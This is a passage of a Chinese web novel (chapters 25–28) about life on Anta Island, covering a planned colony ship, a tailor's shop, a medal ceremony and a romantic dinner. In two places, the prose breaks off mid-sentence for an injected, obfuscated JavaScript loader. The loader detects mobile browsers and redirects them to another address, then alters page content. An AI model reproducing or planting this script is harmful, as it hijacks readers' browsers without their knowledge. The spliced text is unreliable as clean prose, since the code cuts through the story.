成年人的娱乐方式实在少得可怜,酒精勉强能算一种。只是岛上现在只剩一个做散酒的小厂子,周文涛喝的这瓶应该是他珍藏已久的存货。 这瓶存货刚喝了一小半,周文涛就已经有些不胜酒力。 从保护区边界回来前,他还是听了肖蔷的,回档案中心去看了一眼肖薇。也许是共同生活得久了,肖薇的相貌竟和肖蔷也有些相似了。 肖薇一个人在偌大的档案中心哭红了眼睛,他犹豫再三,没有上前去安慰。虽然决定是肖蔷自己做的,但他多多少少还是有些怪肖薇,如果没有她,肖蔷也不会做那些谋划。 听隔壁常来和他们打牌的科员小张说,肖薇已经在这哭了两天了,别人问她怎么了,她也不说,只是一味地哭。直到大家看到了流放名单,便纷纷疏远了她,生怕自己受到连累。 好在小张是个有人情味的,周文涛和她说了肖蔷的事不会影响到肖薇,让她有空就来看看,然后独自回到了这里。 办公室里到处都是肖蔷工作生活过的痕迹,周文涛心里实在是堵得慌,就拿了瓶酒到窗边喝,也许她面对繁重的压力却无从排解时,也会在窗边吹吹风吧。 周文涛抬头将杯中的酒一饮而尽,辛辣入喉,激得他深呼了一口气。 “齐观,如果有一天你发现我变了,或者做了什么错事,一定要早点提醒我。” 齐观低头抿唇,尝试安慰道:“别给自己太大压力了,老周。” 周文涛摇了摇头,苦笑着说:“你应该也看得见,这两天我这办公室门口人来人往的。平常八竿子打不着的人都来恭贺我升迁,其实都是来求情的。连航天局的人都请来了,说是在体检报告上给我放放水,让我也登上“希望号”,圆了我的太空梦。真是有多大的权利,就有多大的诱惑啊。” “希望号?” “哦对了,你还不知道呢。”周文涛一拍喝蒙了的脑袋,“下个月开始就要开始建海上发射台了,飞船的名字就叫希望号。” “那一共有多少人能登上飞船呢?” “五百。” 安塔岛最初一共接收了100万人,经过五十年的人口调控目前还有20万,而这20万中,又只有五百人能登上再次起航“新家园”的飞船。 齐观想到食堂空无一人的一年级就餐区,便说:“我刚从校区回来,岛上是根据飞船计划对新生数量有什么调整吗?” 周文涛并不意外齐观的发现,直接肯定道:“对,确实是有。从六年前开始,所有的新生儿从出生开始就会住进飞船模拟舱,避免因先接触外界再开始封闭生活,引发严重的心理问题。但是具体会带多少孩子上飞船我就不清楚了,新生儿计划一向是向首长直接汇报的。” 见齐观对飞船似乎并不感兴趣的样子,周文涛问:“飞船剩下的名额会从申请的人中挑选,你会去申请吗?” “不会。”齐观望着夜空摇了摇头,“我看过太空舰队的档案,飞到‘新家园’要整整五十年。都是坐牢,我会选个大一点的地方呆。” 25. 第25章 晋氵工连载中 周文涛对这比喻感到有些好笑,却又不得不承认:“是啊。天资聪颖的小孩子被选上了船,抵达时已经垂垂老矣,在飞船上过完一生的人更是不计其数。也就是像我这样的太空狂热爱好者,才会想去飞船上坐牢吧。” 周文涛望向头顶璀璨的星空,和千百年来无数哲人学者凝视在一处。现如今飞入太空的机会近在眼前,他却要被这世俗的繁物捆在这座小岛上,实在不能不道一句遗憾。 齐观倒是并不在意自己的人生会有怎样的结局,便随意畅想道:“人,怎么活都会死的。不过用发动机一烧,把骨灰撒在太空还挺浪漫的。” 周文涛忍不住纠正道:“其实……如果没有途径引力很强的星体引发航向偏移,为了节省能源,飞船是不会轻易开发动机的。所以过世的人会被放进调压舱,然后由机械臂直接丢出去。” 齐观微微张开嘴巴,朝着夜空眨巴了几下眼睛,她再也无法直视头顶这片天空了。 “所有飞船的航线是固定的吧……那岂不是会撞到前方飞船扔出来的……” 周文涛连忙解释:“那倒不会,由于宇宙是真空的,人体会由于巨大的压力差产生爆炸成碎屑,并不会影响到其他飞船的航行。但从一定程度上来说,也算是一种骨灰吧。” 周文涛突然想起许多年前,他也曾像现在这样给肖蔷讲述他心爱的学科,只是他那时太紧张,说话总是磕磕绊绊的,总是没说上两句话就大脑一片空白,只得合上书尴尬地走开。 “真正会影响到飞船的,是随机出现的陨石。陨石之间还会相互碰撞,改变路线或者形成碎粒,这是非常难以预测的。如果没有及时击碎或避开障碍物,整艘飞船的人就都没了。再加上飞船故障、人员操作不当、宇航员心理产生问题等等原因,真正能抵达的飞船不足30%。” “可我们只有一艘飞船不是吗?”齐观犹豫着提问,“如果发生了意外,岂不是什么都没有了。” “所以首长将飞船命名为‘希望号’,只要怀揣希望,生命就永远有向前的可能。”周文涛坚定地看向星空,尽管‘新家园’只是一颗不会发光的行星,目光根本无法触及,“这五十年来,地球上产生的研究成果,发生的故事一定会到达‘新家园’的。” “咕噜——” 齐观的肚子发出了不想听讲的声音。 周文涛正经的表情一秒破功:“饿了就去吃饭吧。” 齐观不好意思地指了指自己的办公室:“我其实是回来拿东西的,钥匙和工卡都忘拿了。” “快去吧。”周文涛醉了酒,酡红着脸说。 齐观小跑着拿了包出来,见周文涛还站在窗前吹风,面色怅然。 她一步一顿地走向电梯口,莫名想起多吉说她很少想未来的事。曾经的确是,每天一成不变的生活也让她的心也变成了一潭死水。 但也许是最近发生的事应接不暇,又也许是多吉在她身上留下的影子越来越多了,她笑着转头对周文涛说:“老周,你的愿望一定会实现的。” 周文涛有些意外地回过头看她,也笑着应道:“好,快去吃饭吧。” 今晚多吉要值夜班,齐观等不及他回来,吃过饭早早就睡下了。夜半醒来,却发现自己已经在他怀里了。 “怎么了?是我吵醒你了吗?”多吉轻声说。 “没有,你在我会睡得好一点。”齐观小声嘟囔着,调整了一个更贴合的姿势,摸向多吉的侧脸,又滑向他的脑后。 “头发好像长长了一点。” “嗯,最近忙,没空去。要不你帮我剪吧。” 齐观五指穿过多吉半长的头发,轻声说:“我喜欢你这样,像匹小马驹似的。” “好,你喜欢那就留着。”多吉轻吻她的额头,“快睡吧,你明天还要早起呢。” 接下来的几天,齐观不光要继续细查秘书处与各部门的来往,跟进之前的项目,还要配合军部准备荣誉仪式,忙得不亦乐乎。 好在有谢心白这个饭搭子时不时来陪她解闷,不然真的要闷坏了。 这天,两人又躲在洽谈室里边吃零食边办公。 “这个花生糖真不错,我都不知道岛上还种花生呢。”齐观咬了一口细细嚼着,咸甜焦香的味道溢满口腔。 “以前种,现在厂子已经没有了,都在海底下淹着呢。”谢心白叹了口气,挑了一块榴莲糖吃,“这些都是十年前撤厂的时候存下的,每个月只从冷库里拿出来一点出来售卖。” 齐观听了这话,每一口都吃得更珍惜了,因为那有可能是一种地球上再也不会出现的味道。 “这些也是司令给你买的吗?”齐观指着桌上的大袋小袋问。 谢心白“嘿嘿”一笑:“暗示了他几回终于开窍了。那花中看不中用,看几天新鲜就够了。哪儿还用天天送啊。” 齐观又从糖果盒里挑了一块椰子糖,这是她从前最常吃到的口味。像椰子树这样的热带树种,都不用专门设养殖园,养在路边就能活,制成糖果价格也不算太贵。 多吉还在上学那会儿,总是把学校每个月发的零花钱存下来给她买吃的。等入了伍,有了配车,若是巡逻见着什么新鲜的东西也会攒钱给她买。只是那时他俩的工资加在一起,一周也吃不上一顿大餐。 那些宴请北美舰队的精美菜肴,齐观现在还记在心里,那天没能跳成舞的遗憾她也没有忘。 齐观盘算着自己账目里的余额,准备给多吉一个惊喜。 “想什么呢?这么入神?”谢心白问。 “啊?没什么。”齐观连忙摇了摇头,嘴角扬起的弧度却没有落下。 “你是不是忘了我是干什么的啊?”谢心白了然一笑,从自己的座位上起身去和齐观挤在一处坐下,“我可是听司令说了,你家那位可是没少立功,还破格提拔为了队长。见了我这些新鲜玩意儿,是在想怎么给他庆祝吧?” 齐观白净的小脸上顿时染上了绯红,平时她总是没什么表情,连多吉也不太容易猜到她的心思,今天倒真是撞在枪口上了。 齐观用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15091341|163065||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 胳膊肘一推谢心白:“还说我呢,我可是听说司令每天还站在门口等你下班,都快站成望妻石了。” 谢心白却是兴致缺缺地撅了撅嘴:“随他站去!我现在是发现了,这工作简直就是个烫手山芋,到处得罪人不说还吃力不讨好,早知道当初就推掉了。” 齐观对此也有所耳闻,岛上那些被拉下马的贪官家属,天天想法子来侦查队威逼利诱,却都被钱章安排的人挡了回去。文字若是一块砖,每天岛上咒骂谢心白的话都能装满一卡车。 “你是不知道那些人有多猖狂!真当现在还是五十年前呢!”谢心白越说越生气,回了座位一摔文件,“真正对建岛有贡献的人,政府何曾亏待过,他们不过是那批建岛人认下的干亲。继承了建岛人的财富,接受了他们的扶持,现在还要再想方设法把一切留给另一群不相干的人。要是真让他们得逞了,这么多代首长不都白干了。” 齐观看向手里正在拟定的高档商品限购及价格调整的草案,从前这些商品价格昂贵且交易自由,简直成了富人区的专供品。 地球的灾难平等地降临在每一个人身上,若是人类自己还要再分个三六九等,岂不是会留下太多遗憾。 人生就是由一段又一段的经历与感受拼接而成的,齐观实在是希望她品尝过的美好可以传递给更多人。 她笑着说:“是啊,我们做的这些努力,不就是为了所有人都过上更公平的生活吗?” 谢心白听了这话顿时消解了怒火,两人相视一笑,继续忙起了手中的工作。 傍晚,谢心白拿着确认过的笔录去了法院,齐观也将草拟的条例发给了周文涛。 当日的工作告一段落,齐观回到办公室找郑溪要了各部门的服装采购信息,坐在屏幕前翻看了起来。 机动队执行的任务是全岛最危险的,为了方便队员行动,所有的作战服都是量身定制的。鼠标不断滑动,多吉的名字跳了出来,后面一行写的正是多吉几个月前入队时新量的尺寸。 光是看着那宽肩窄腰的数字,齐观的指尖就微微出了一层薄汗,仿佛那温热紧实的肌肉就在她掌心划过。 她脸红耳热地拍了张照,刚下班就直奔一家承接成衣定制的裁缝铺。 店铺的门脸并不大,外墙刷着绿色的漆,在周围一水儿的白建筑的衬托下显得格外有生机。 橱窗里陈列了两座展示模特。女模特身上的是一件嫩黄色的露肩长裙,裙摆宽大立挺,外罩的薄纱还有一层微微的细闪。男模特身上的则是一套米白色的西装,内衬和袖口是与女模特呼应的嫩黄色,胸口的口袋还别了一朵红丝绸做的玫瑰花。 网上的评价都说这家店和其他接定制的服装店不同,更偏好接生客,而非那些出价高的达官显贵,最适合她这种从来没订过礼服的人。 她推门而入,门上的铃铛“叮零零”地响了起来,店里的学徒立刻放下了手里的活计,走上前来。 “请问有什么需要吗?” “你好,我想定制两套礼服。” 26. 第26章 店主是个将近五十岁的老师傅,他慢条斯理地摘下老花镜,见齐观是一个人进来的,又把老花镜戴了回去。 “等人齐了再喊我。” 齐观连忙掏出手机:“我带了另一个人的尺码,您看可以吗?” 老师傅有些生气地说:“这里是定制,不是我亲手量的,万一做得不好那不是砸了我的招牌吗?” 齐观细细观察了这家店面,两侧的墙面都刷着嫩黄色的墙漆,正对着店门的一整面木质墙柜专门用来摆放各色布料,柜子上还描了金色的花边。 老师傅的裁缝桌和柜台上都有几盆精心打理的鲜花,可见他十分热爱他的工作,也爱护这家店面。虽然外表严肃,内心一定有不为人知的柔软之处。 齐观再次开口:“我……是想给他一个惊喜。希望您可以帮我这个忙。” 老师傅正在挑选布料的手一顿:“把尺码拿来我看看。” 齐观连忙把手机递上前,老师傅边看着尺码,边拿着皮尺对着空气比划了起来,半晌才道:“拿到手如果不合适,可以再找我改。你站去镜子那里,我给你量下尺寸。” “谢谢您。”齐观笑得柔和,转身走到镜子前站定。 镜前人的身形高挑匀称,不出声地往那一站跟橱窗里的模特没什么两样。五官虽算不上惊艳,但绝对是让人过目不忘的气质型。 一双带着木质柔和感的眼睛则没有什么温差,最暖不过夏日雨,最冷不过倒春寒。 老师傅打开镜子旁的电灯,先从头围开始量起。 齐观提醒道:“师傅,我不准备订礼帽的。” “你不需要头纱吗?” “啊?什么头纱?” 老师傅也是一愣:“你不是来订婚服的吗?” “不是。”齐观迷惑地摇了摇头,“只是约会用而已。” 老师傅奇怪地看了一眼齐观,说:“来我这的新客基本都是订婚服的,你倒挺特殊。不过以后如果有需要,倒是可以再来。” 他继续量着齐观的尺码,一旁的小学徒认真地记录着,不一会儿便说:“好了,来挑款式吧。” 老师傅打开一本厚厚的样式画本,里面一张张精美的衣裙都是手绘的,足足有上百页,齐观有些挑花了眼。 她看了一会儿才意识到画本上没有价格,有些担心地说:“我的存款不算太多,不确定有哪些款式是我能选的。” “这个你不用担心,价格的差别主要在布料上,当然,特别复杂的款式也会贵一些。不过只要是顾客选中的款式,我都会尽力完成。” 齐观这才安心挑选了起来,她偏好简单优雅的款式,选了一款贴身的宽圆领包肩长裙。裙子在腰臀处有立体流畅的褶皱,像一朵亭亭玉立的郁金香,裙摆微微散开方便行走。 男款的西装则没有太多花样可供选择,齐观指了一款戗驳领的英式西装,一粒扣的款式收腰效果明显。 老师傅看过了齐观选的那两款礼服,吩咐徒弟去拿了几种布料,又从柜台里拿了一张布料色卡说:“选一下颜色吧。这上面的颜色都能选,不过染色等的时间就会久一些。” 齐观想着在荣誉仪式那晚预约一桌岛上最贵的晚餐作为庆祝,因为要等伤员全都出院,所以日子定在了两周之后。 “染色的话需要等多久呢?” “要多三天。如果是黑白色的话就不用等,差不多两周之后就能来取。” 齐观没想到临时来订衣服竟然真的来得及,连忙定下:“那就要白裙子黑西装,再要一件透气一点的白衬衣。” 老师傅再次疑惑地小声嘟囔了一句:“真的不是婚服吗?头一回见有人给男朋友订全套的。” 男朋友吗?齐观对这个称呼并不习惯。 男朋友是处着处着就一定要有一个结果的身份,要么分手,要么结婚。分手就会变成陌生人,重新归于人海。而婚礼之后丈夫的身份,代表的更多的是责任而不是感情。 多吉,是她的爱人,是教会她如何爱人也是只要她活着就会去爱的人。 学徒已经将布料在柜台上一字排开,老师傅默默在一张小卡片上依次写下对应成衣的价格,让齐观自己感受完再决定。 齐观看了价格之后只后悔自己平时完全没有存钱的习惯,就算是最便宜的布料也要花掉自己快一半的积蓄。可她实在不想给那个夜晚留下什么遗憾,看着那昂贵布料的光泽,她一咬牙:“您这里……可以分期吗?” 老师傅笑笑说:“当然,来我这的很少有能一次付清的。” 齐观有些好奇地问:“其他店都是给那些有钱的老主顾服务,怎么您这还能分期啊。” “礼服的价值不在于它本身,而是值得穿着礼服的那个时刻。如果有人把礼服穿成了常服,那我所做的工作又有什么意义呢?反正这座岛就这么大,也不怕你跑了。”老师傅笑着递来一张空白的卡片,“留个联系方式吧,做好了联系你。” 齐观写下了号码递了回去,这才留意到柜台上有一个小相框,相框中的一对新人正穿着橱窗里的那一套礼服,其中的新郎正是眼前这位老师傅年轻时的样子。 “穿着橱窗里那套礼服的时刻,应该是您觉得最有意义的时刻吧。” 老师傅的嘴唇微微颤抖:“礼服再有意义,人也不在了。留个念想罢了。” 齐观见自己勾起了老师傅的伤心事,连忙道歉。 老师傅却摇头:“没什么的,我夫人已经走了快二十年了,说不定我什么时候就下去陪她了。我只希望我做的每一件衣服都能见证别人的幸福。如果有一天你需要那块头纱,随时来找我,可以免费给你做,就当是这个订单的赠品。” 齐观谢过了老师傅,吃过饭便早早回宿舍收拾起了行李。 人口管理局已经根据她的职级,给她在高级领导的楼里安排了一套六十平米的单人间,随时可以搬进去。 宿舍里的东西比之前在学校住的时候稍微多了些,但也费不了多少功夫。不一会儿,她就打好了两个包裹,只剩下些易碎的和贵重物品单独包装。 书桌抽屉里还静静躺着一个长方盒子,那是她唯一的一件首饰,正是她在舞会上戴的那一条珍珠项链。那还是多吉两年前刚升中尉的时候攒钱给她买的。 没能在舞会上和多吉跳一支舞一直让她有些遗憾,但那个老师傅思念亡妻的样子,却一直在她脑海中萦绕不散。 她知道,如果有一天她不在了,多吉也会像那个老师傅一样,怀着对她的思念直到生命的终点。 疾病、战争、天灾……任何一个随机的原因都会夺走一个人的生命,齐观又忍不住想起被怪物袭击的那一天,当时了解了它们的故事以为自己可以接受,可濒死的经历还是加重了她对死亡会随时降临的认知。 她有些不确定自己准备这个惊喜是对还是错了。 两周后,杰佛森和姚望宇终于伤愈出院,在队友们簇拥下上了小巴车,一路驶向军港码头。 这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15095921|163065||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 次安塔岛彻底粉碎了北美舰队的阴谋,全岛无一名平民受伤,自发前来观摩授勋仪式的群众把码头围得水泄不通。 除了乌日娜,还有四名陆军士兵在追捕北美逃犯因交火丧生,两名机动队队员葬身于副舰的爆炸。 七张黑白遗像后是齐观带着下属准备的花圈与挽联。黄白色的菊花是花房常备的,木架也因时常置于阳光下微微发黄显旧。 在安塔岛,葬礼是最常举办的仪式。 仪式全程照例由现任副首长主持,听周文涛说,首长的病情又恶化了,几乎每天都要花上四个小时做透析。 骄阳似火,阳光的照射使得万物颜色都十分鲜艳,更衬得那一排黑白照片格外刺眼。 “敬礼!” 十二声整齐的枪声响彻天空,铁血的战士对着不再鲜活的战友照片红了眼眶。 所有牺牲的军人都被授予烈士勋章,骨灰葬于大海。他们生前囿于这片小小的陆地,死后则自由飘散在这天与海之间。 牺牲的军人大多年轻,还没有来得及成家。而勋章如果没有家人来认领,则会被挂在所属部队的烈士墙上,而那面墙,和太平盛世的许愿墙一样满。 七枚勋章,只有乌日娜的那一枚交到了杰佛森手里,剩下的都还挂在遗像上,随着海风微微晃动。 杰佛森眼眶微红地接过勋章,小心翼翼地将其装进左胸前的口袋里。 这是属于乌日娜的荣誉,他不会选择佩戴,而是会珍藏。 多吉因发现炸药布置、协助识破王淑红的安排和救回三名伤员获个人一等功。上舰执行任务的队员获集体二等功,参与抓捕的则获集体三等功。 他们胸前的勋章反射出耀眼的光芒,一排排齐齐向民众敬礼,迎接属于他们的欢呼声。 杰佛森神情庄重地走向队伍正中的多吉,将自己的配枪解下交了过去,也象征着队长身份的正式交接。 “多吉,以后全队人的安危就落在了你的肩上了。希望你不辱使命。” 多吉郑重地向杰佛森敬了一个军礼,朗声承诺道:“定不辱使命。” 承诺的话语回荡在广博天空之下,仪式正式结束。 人潮渐渐散去,将士们乘车回到了军区,军港码头又只剩下往来渔船的身影。 看着人来人往的军区大院,杰佛森决定无声地离开。 “队长!”“队长!” 刚下车的机动队队员们连忙围了上来。 杰佛森怕多吉尴尬,连忙说:“我已经不是你们的队长了。我离开之后,你们一定要服从多吉的命令。他虽然年轻,但他的功劳和能力你们都看在眼里。” 多吉拨开众人,走到杰佛森面前。虽然档案中心的工作不多,但多吉还是担心他会过度封闭自己。他认真说道:“杰佛森,你永远是我们的队长。以后去了档案中心,闲的时候常来看看我们吧。” 杰佛森点点头,抬脚要走,却注意到白玛格外不舍的眼神。 毕竟是跟了自己最久的部下,杰佛森知道白玛心里肯定最难受,他摸了摸胸前口袋的勋章,握住了白玛的肩头。 “白玛,你也要试着走出来。” 白玛扑上前抱住杰佛森,二十好几的男人哭得像放学舍不得玩伴的孩子,“既然回来了就好好的,我一定会去看你的。” 杰佛森看着眼前的战友们,好像自己和这世间的联系重新变得千丝万缕。 如冰山融化般,他笑着说:“好,我们以后常聚。” 27. 第27章 仪式结束后,除了必要的执勤点,全岛的士兵都可免训两天。北美舰队入侵一事终于平息,雷达显示屏上只剩下来往的渔船,全军紧绷的神经总算可以放松了。 多吉想趁着有空早点熟悉队长的日常工作,免得复工后有措手不及的地方,便独自回到了办公室。 这是他第一次坐到队长的办公桌前,十几天没人打扫的桌子,已经积了一层薄薄的灰尘,用手指一抹,深棕色的木纹又再次清晰。 多吉收拾着桌子上的文件,巡逻路线图、训练日程表、军械器材维修管理单……每一张都代表着一项复杂的工作,多吉顿时感到压力山大。除了这些,还有每个队员手里分管的事务,以后向他汇报的时候他也要说得出个所以然来。 多吉拧了拧眉心,仔细翻看了起来。 门口传来把手拧动的声音,多吉抬头一看,和刚进门的白玛的视线对了个正着。 白玛行走的身形一顿,斜了多吉一眼,继续板着脸径直走向钥匙柜。 多吉实在是不知道白玛对他的敌意究竟从何而来,但还是决定尝试破冰。他挤出一抹略显尴尬的微笑,语气尽量友好地说:“怎么不回去休息呢?” “这你也要管吗?”白玛输入钥匙柜的密码,拿了一把出来。 杰佛森和他说过,白玛时不时会给队里调试车和武器,即便是再复杂的设备也不在话下。 多吉见他拿的是武器库的钥匙,便起身说:“你是要去做调试吗?我和你一起去吧。” 白玛捏紧了钥匙,原地僵了一瞬又把钥匙挂了回去。他把“砰”地柜门一关,一言不发地离开了办公室。 多吉无语地用指头搓了搓眉毛,心想他真是多余开这个口。也罢,只要白玛在工作上不马虎,对自己态度差点儿他就当没看见。 多吉继续收拾起杰佛森的桌子,最终把所有有用的文件归成一摞,桌子也擦得一尘不染。 他起身走向自己原本的桌子,把文件收进了抽屉。 杰佛森的桌子离窗台最近,迎接了第一缕夕阳。多吉决定就这样空着这张桌子,他知道杰佛森在队员们心中的地位,也并不想取代,他只完成自己的职责就好。 身后突然响起敲门声,多吉扭头看见卡卡探了一颗毛茸茸的脑袋进来,大眼睛滴溜溜地在屋里探寻。 “卡卡?刚放学吗?”多吉问。 卡卡见办公室里没有别人才放松地走进来,手里还提着一个大大的黑布衣袋。 “多吉哥,这个是给你的。” 多吉有些诧异地看着那些布袋子顶上的衣架,衣架上描着流畅的金色花纹,不难猜出里面的衣服一定价值不菲。 “这是?” “是齐观姐让我来的,还有这个。”卡卡在口袋里掏了掏,里面传来糖纸摩擦的声音。 他掏一张卡片递给多吉,卡片上是一行手写的字:今晚七点,安华饭店,齐小姐静候。 多吉将西服缓缓从袋子中抽离,用手指背轻轻拂过那柔软的料子。 “你见过她了?” “嗯。”卡卡认真点头,“和你说的一样好看。” 多吉嘴角的笑意再也抑制不住,他恨不得现在就飞奔到心爱的女孩身边。 雨季刚过,白天依旧很长,迎着最后一缕晚霞,多吉走进了安华饭店的门前的白漆围栏。 安华饭店是全岛消费最高的餐厅,复古的双层小洋楼建筑,面积虽不大,周围却被花圃围绕。偶有行人路过,鼻腔中长久滞留的咸湿温热的海风味道,都会被清新的花草香短暂地冲刷干净。 侍应生走上前微微鞠躬:“请问有预约吗?” “齐小姐。” “您这边请。” 多吉跟着走上台阶,另有两名侍应生为他推开了大门。 一楼用餐区的正中是一座精致的小喷泉,婴儿形态的爱神丘比特在厚厚的云层之上将爱神之箭高高举起,清澈的水流从剑的顶端喷涌而出。吊顶的水晶灯晶莹如盛夏浸过水的葡萄,大厅两侧有从墙壁里突出的罗马柱作为装饰。 多吉却无暇欣赏这些,他四下寻看,却没有看到期待中的身影。 侍应生一路将多吉领上二楼,厚厚的地毯隐去了他们的脚步声。 多吉一登上二层的餐厅,便为眼前的美景放缓了脚步。 齐观单手撑着侧脸,坐在靠窗的餐桌前,红底金边的餐布上摆了一盏烛台。 烛光摇曳,白润的珍珠项链围在她玉一样的脖颈上,缎面的白色长裙铺洒在地面上,像一座没有一丝杂色的古希腊女神雕塑,浑身散发着柔光。 齐观注意到了余光中晃动的人影,缓缓扭头看向楼梯口。 二十二岁的多吉比十六岁的多吉更健壮,也更稳重,但他看向她的眼神澄澈一如从前。 齐观摊开手掌,伸向多吉。多吉回握住她的手,两个人就这么在烛光中对视了一会儿。 “你好美。”多吉忍不住出声感叹。 即使听过再多遍,如此直白的赞美还是让齐观有些羞涩,她嘴角噙着笑移开了目光。 自从晚宴那天收到杰佛森的婚礼请柬,多吉就一直在考虑求婚的事。看到那身高档西装的时候他就忍不住在想,被求婚这种好事会不会发生在自己身上。 “怎么想起准备这些?”多吉暗含期待地问。 齐观举起酒杯:“当然是给你庆祝了,上任第一天怎么样?” 多吉默默按下心中多余的期待,微笑着碰杯。 “和想象的一样棘手。不过明天还有一天假期,倒也不急着面对。” “奶油香槟扇贝,请慢用。”侍应生轻声介绍了菜品便离开了,齐观用叉子叉了一块扇贝细细切了起来。 多吉还是有些奇怪,他知道齐观一向不在意这些虚名,不然也不会选择当一名普通的中学老师,一做就是六年。 “真的只是为了庆祝我升职吗?会不会太隆重了?” 齐观细细咀嚼着鲜甜的扇贝,又切了一块新端上来的羊排。饭店的食材都是养殖场里最好最新鲜的,或者是从更干净的远海捕捞的。 纯动物油脂的香气在嘴里爆开,这是她从未有过的体验。 “你忘了吗?你还欠我一支舞呢。”她望向窗外,花圃中低矮的路灯是国际象棋的形状,灯光昏黄温馨。不限电的夜晚,还有小酒馆和舞厅会营业到深夜。 “多吉,我不希望我们短暂的一生中再有什么遗憾了。” 年少时,多吉常在空闲凉爽的夜晚带着她偷偷翻出学校,来到陡峭凉爽的北坡,他用石头打拍子,给她唱几句并不完全在调上的情歌。 如果意外随时都可能发生,齐观希望这样美好的回忆越多越好。 吃过饭,多吉载着齐观去了最近的舞厅。 夜晚刚刚开始,还没有到疯狂的时候,舞池里播放的是一首缓慢的爵士乐,周围还有几张木头桌子,几对客人正在喝酒聊天。 客人们见他俩这副打扮,都以为 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“好,那我会一直陪着你,无论你要做什么。”多吉贴在齐观耳边轻声说。 愧疚感涌上齐观的心头,她离开多吉的怀抱,去吧台点了几杯酒。 她也不知道那些花里胡哨的名字都代表着什么,她只想用辛辣浑浊的液体浇灭酸涩复杂的情绪。 然而她的酒量却出乎意料得好,好像那些液体还没有来得及起作用,就从她的身体里挥发了出去。 齐观渐渐觉得无趣起来,这和她想象中今晚的样子大相径庭,便一言不发地拉着多吉离开了舞厅。 回到了家里,多吉坚持喝完酒不能洗澡,尽管齐观并没有觉得她有多醉。 他帮她用热水擦了身上,又把她抱回床上,自己则去洗熨齐观那条在舞厅有些踩脏了的白裙子。 等到他洗漱结束躺到床上,齐观已经快睡着了。 他轻轻揉搓她的耳垂与脖颈,将吻落在她睫毛上,准备像平常一样拥她入眠。 也许是喝了酒的缘故,齐观突然鼻头一酸,“为什么会这么爱我呢?” 多吉一时不知道该如何回答。 一见钟情吗?这样的回答未免有些俗套了。 多吉记得她刚来到他所在的班级,对所有人都有些冷淡,对他也是。 但她有一双温柔甚至带有些许怜悯的眼睛,他想知道那双眼睛里是否会有其他的情感。 “因为我想得到你的爱。” 多吉拢了拢齐观额前的碎发,他知道齐观对生命的看法才是安塔岛上的主流观点,于是人们更热衷于鲜花般的爱情,花期虽短但足够鲜活。这朵花开败了就抛诸脑后,撒下另一把种子就好,任其自由生长,再采一朵花丛中最鲜艳的。 可多吉却心怀希望,于是他种下了一棵树,日复一日小心呵护,认真浇水施肥。他等着他的树长高、抽枝,长出嫩绿的新芽。 “今晚,我的树结果了。” 他没头没脑地说了一句,她却懂了。 “再给我唱一遍那首歌好吗?那首你在山坡上给我唱过的。”齐观的声音有些颤抖。 多吉轻拍着她的后背,低吟浅唱。 “这里的山很高,云很低。 白云静静从山前到山后。 幽幽的山谷,奔跑着我的爱人。 高高的山上,沉睡着我的爱人。” 28. 第28章 离岛两公里的海面上,飞船发射台已经正式开始搭建。作业的船只日常来往于军港码头和发射台之间,将地下仓库中制作好的零部件运到海上去组装。 昨晚,全岛的居民都收到了一条短信,上面写着所有人都可以在未来的一个月内申请登上飞船,申请链接关闭后将对申请者进行选拔,选拔后则是为期半年的模拟舱训练。 短信的结尾用醒目的红字提醒着所有居民:飞船航行总程为五十年,请谨慎选择报名。 一整天过去,只有寥寥几条报名信息发送到了秘书处的统计网站里。绝大多数人都对看似奇幻实则坐牢的太空之旅并不感兴趣,报名信息几乎全部来自航空航天方向的研究员和在岛上活够了的、久病缠身的老年人。当然,也有特例。 齐观看了一眼挂钟,薛洋洋每周一节的语言训练课正是下课的时间,她见没什么要处理的工作,下了班便早早动身去往康复中心。 这里的患者精神和身体各有各的残缺,但能出现在这里,就说明他们对生活仍抱有热忱。 齐观路过自由训练区,瞥见杰佛森一身白T白短裤,在跑步机上小步慢跑,便推开玻璃门走了过去。 她也不清楚杰佛森现在是怎样的心态,朝杰佛森挥手时略显拘谨,“嗨。” 杰佛森有些意外地看向身侧的齐观,他按下暂停键,缓步走了起来。 “你怎么在这?”他问。 “来接之前和我一起被怪物袭击的孩子。语言训练课效果还不错,就给她一直报着了。” 杰佛森稍微反应了一会儿才意识到她说的是谁,“没想到你还在一直照顾她。” “嗯,她现在恢复得挺好的,已经能说简单的句子了。”齐观说得诚恳,希望薛洋洋的经历能给杰佛森打打气,她犹豫了一下又问:“脊椎……适应得还好吗?” “不用问得那么小心。”杰佛森走下完全停止的跑步器,语气倒是轻松,“偶尔会反应慢一点,倒是没什么大影响。” 齐观看到杰佛森手肘和膝盖周围有深深浅浅的淤青,便知道事实应该不是他表现的那样轻松。 “那挺好的,不过也别太勉强自己。”她笑着说,没有拆穿。 “训练习惯了,突然停下来身体也不适应。不过说到勉强,你不如去劝劝那边那位。”杰佛森指了指正在躺在长凳上卧推的姚望宇。 齐观这才注意到她,刚刚还以为是这里的训练老师。 姚望宇坐起身来,“咣”的一声放下手里两个沉甸甸的哑铃。 “这算什么,已经打了不少折扣了。”她将跨坐的腿收回,坐在长凳上朝齐观咧嘴一笑,“你好,我叫姚望宇。” “你好,我是齐观。”齐观点头微笑。 姚望宇听了她的名字先是一愣,随即笑得更加爽朗:“怪不得,我听里昂说多吉每天下班都急匆匆的,我要是他我也着急回家。” 